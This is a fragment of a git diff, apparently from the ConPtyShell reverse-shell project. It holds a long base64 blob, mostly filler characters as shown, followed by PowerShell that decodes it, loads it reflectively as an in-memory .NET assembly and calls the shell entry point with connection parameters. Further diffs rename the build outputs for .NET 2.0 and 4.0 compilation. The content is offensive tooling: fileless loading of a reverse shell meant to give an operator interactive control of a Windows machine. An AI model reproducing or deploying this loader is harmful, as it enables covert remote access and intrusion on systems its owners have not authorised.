AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFAAAAwAAAAQPQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==" $ConPtyShellBytes = [System.Convert]::FromBase64String($ConPtyShellBase64) [Reflection.Assembly]::Load($ConPtyShellBytes) | Out-Null $output = [ConPtyShellMainClass]::ConPtyShellMain($parametersConPtyShell) diff --git a/base64_conversion_commands.ps1 b/base64_conversion_commands.ps1 index 62223b7..4cc2e67 100644 --- a/base64_conversion_commands.ps1 +++ b/base64_conversion_commands.ps1 @@ -1,3 +1,3 @@ -$Filename = (Get-Location).Path + "\ConPtyShell.exe" +$Filename = (Get-Location).Path + "\ConPtyShell_net2.exe" $base64string_x64 = [Convert]::ToBase64String([IO.File]::ReadAllBytes($FileName)) $base64string_x64 | Out-File ConPtyShell.base64 \ No newline at end of file diff --git a/compile_command.txt b/compile_command.txt index a6b97ac..cb7ca6c 100644 --- a/compile_command.txt +++ b/compile_command.txt @@ -1,5 +1,5 @@ .NET 4.0 -C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe -target:exe -optimize -out:ConPtyShell.exe ConPtyShell.cs +C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe -target:exe -optimize -out:ConPtyShell_net4.exe ConPtyShell.cs .NET 2.0 -C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe -target:exe -optimize -out:ConPtyShell.exe ConPtyShell.cs \ No newline at end of file +C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe -target:exe -optimize -out:ConPtyShell_net2.exe ConPtyShell.cs \ No newline at end of file